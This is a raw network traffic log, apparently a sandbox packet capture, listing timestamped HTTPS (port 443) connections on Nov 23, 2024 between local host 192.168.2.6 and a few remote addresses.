Nov 23, 2024 02:55:19.752319098 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.752327919 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.757342100 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.757386923 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.757503033 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.757658958 CET	49750	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:19.757672071 CET	443	49750	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:19.762046099 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.762073040 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.762092113 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.762140036 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.762156010 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.762181997 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.762202978 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.779104948 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.779135942 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.779155970 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.779258966 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.779270887 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.779289007 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.779334068 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.957940102 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.957967997 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.958034039 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.958044052 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.958097935 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.977510929 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.977550983 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.977643013 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.977658987 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:19.977713108 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:19.977732897 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.009560108 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.009582043 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.009644032 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.009658098 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.009712934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.009712934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.013111115 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.013142109 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.013185024 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.013192892 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.013245106 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.138729095 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.138772011 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.139003038 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.139189005 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.139199018 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.141766071 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.141797066 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.141841888 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.141853094 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.141887903 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.141906023 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.162039042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.162074089 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.162117958 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.162132978 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.162166119 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.162189007 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.179481030 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.179507017 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.179594994 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.179608107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.179653883 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.189384937 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.189408064 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.189479113 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.189486027 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.189538956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.189538956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.212892056 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.212918043 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.212964058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.212971926 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.213009119 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.213113070 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.220293999 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.220318079 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.220391989 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.220402002 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.220453024 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.240230083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.240252018 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.240341902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.240341902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.240350962 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.240534067 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.261224985 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.261249065 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.261296034 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.261302948 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.261342049 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.335407019 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.335465908 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.335513115 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.335522890 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.335561037 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.335582972 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.362433910 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.362464905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.362500906 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.362508059 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.362545013 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.362555981 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.370136023 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.370218992 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.370223045 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.370264053 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.370342970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.370342970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.383398056 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.383423090 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.383476019 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.383483887 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.383527994 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.390290976 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.390315056 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.390378952 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.390386105 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.390415907 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.390439987 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.397927046 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.397948980 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.398019075 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.398025990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.398063898 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.398082018 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.407485962 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.407507896 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.407556057 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.407562017 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.407603979 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.407623053 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.412497044 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.412522078 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.412592888 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.412601948 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.412703037 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.426207066 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.426229000 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.426278114 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.426285028 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.426317930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.426352978 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.427222967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.427256107 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.427341938 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.427341938 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.427350998 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.427395105 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.447118998 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.447144032 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.447238922 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.447248936 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.447289944 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.465646982 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.465671062 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.465733051 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.465740919 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.465765953 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.465801954 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.485513926 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.485543013 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.485627890 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.485635042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.485647917 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.485781908 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.530390978 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.530419111 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.530463934 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.530483007 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.530517101 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.530531883 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.541147947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.541171074 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.541210890 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.541218996 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.541258097 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.541282892 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.550944090 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.550966978 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.551026106 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.551034927 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.551065922 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.551085949 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.559123993 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.559146881 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.559190035 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.559199095 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.559231043 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.559259892 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.569112062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.569133997 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.569179058 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.569186926 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.569221973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.569235086 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.577275991 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.577300072 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.577342987 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.577349901 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.577382088 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.577394962 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.579183102 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.579207897 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.579260111 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.579267025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.579329014 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.579329014 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.586730003 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.586750984 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.586792946 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.586800098 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.586832047 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.586850882 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.593291998 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.593316078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.593390942 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.593390942 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.593398094 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.593535900 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.596029043 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.596049070 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.596091032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.596096039 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.596129894 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.596147060 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.606543064 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.606581926 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.606667042 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.606674910 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.606736898 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.612165928 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.612412930 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.612446070 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.613492012 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.613548994 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.614506960 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.614578962 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.614891052 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.614901066 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.614989996 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.615078926 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.615099907 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.615159035 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.615164995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.615181923 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.615216017 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.615400076 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.615410089 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.616607904 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.616800070 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.616806984 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.616945982 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.617012024 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.618047953 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.618143082 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.618621111 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.618702888 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.620184898 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.620249033 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.620285034 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.620290995 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.620724916 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.620731115 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.621802092 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.621823072 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.621867895 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.621875048 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.621920109 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.621920109 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.628294945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.628323078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.628371000 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.628379107 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.628412962 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.628433943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.635051966 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.635077000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.635174990 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.635174990 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.635184050 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.636464119 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.641868114 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.641890049 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.641938925 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.641944885 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.641973019 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.642031908 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.646065950 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.646143913 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.646336079 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.646336079 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.646388054 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.689762115 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.690063000 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.690088987 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.691111088 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.691169977 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.691523075 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.691595078 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.691710949 CET	49738	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.691720009 CET	443	49738	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:20.709213018 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.709717035 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.709736109 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.710449934 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:20.710457087 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:20.716860056 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.716970921 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:20.732572079 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.732599974 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.732640982 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.732650042 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.732681036 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.732703924 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.740291119 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.740310907 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.740355968 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.740362883 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.740401030 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.740413904 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.748019934 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.748049021 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.748090982 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.748097897 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.748147964 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.755799055 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.755820990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.755867958 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.755872965 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.755898952 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.755919933 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.762989998 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.763012886 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.763053894 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.763060093 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:20.763094902 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:20.763104916 CET	49733	443	192.168.2.6	150.171.27.10
